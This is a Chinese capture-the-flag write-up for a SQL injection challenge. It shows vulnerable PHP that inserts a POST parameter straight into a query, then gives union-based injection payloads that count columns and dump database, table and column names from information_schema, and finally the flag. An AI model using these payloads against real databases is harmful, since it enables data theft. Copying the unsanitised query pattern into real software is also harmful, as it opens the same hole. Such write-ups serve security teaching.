根据测试,源代码伪代码如下:
<?php
//链接数据库
mysql_connet("[datebase]","[user]","[password]") or
//检查错误,处理无法访问数据库的情况
die("Could not connect:" . mysql_error());
//选择数据库
mysql_select_db("[database_name]");
//从POST请求中获取id的值
$id = $_POST["id"];
//创建并执行一条SQL语句
$result = mysql_query("SELECT * from ".$TableName."where id = '$id' ");
?>
1’ order by 4#返回正常,
输入1’ order by 5#返回异常。
(按照sql的语法#起注释作用,所以#后面的单引号就被注释掉了)
当数字等于5的时候报错,
那说明当前表只有4个字段并且只有4列。
接下来就开始暴库名、表名、字段名。
首先爆库名:通过id=-1’ union select 1,2,3,database()#
执行的SQL语句:
SELECT * from “.$TableName.”
where id = ‘-1’ union
select 1,2,3,database()#’
database()将会返回当前网站所使用的数据库名字
user()将会返回执行当前查询的用户名
version() 获取当前数据库版本
得到数据库名字skctf_flag
然后爆表:
information_schema 是 MySQL 自带的一张表,
这张数据表保存了 MySQL 服务器所有数据库的信息,
如数据库名,数据库的表,表栏的数据类型与访问权限等。
该数据库拥有一个名为 tables 的数据表,
该表包含两个字段 table_name 和 table_schema,
分别记录 DBMS 中的存储的表名和表名所在的数据库。
group_concat语法:
功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。
通过使用
id=-1’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#
执行的SQL语句:
SELECT * from “.$TableName.”
where id = ‘-1’ union
select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#’
得到表名:fl4g,sc
接下来暴字段:
通过id=-1’ union select 1,2,3,group_concat(column_name)
from information_schema.columns
where table_name=‘fl4g’#
得到字段skctf_flag
查询数据,通过使用:
id=-1’ union select 1,2,3,skctf_flag from fl4g#
得到flag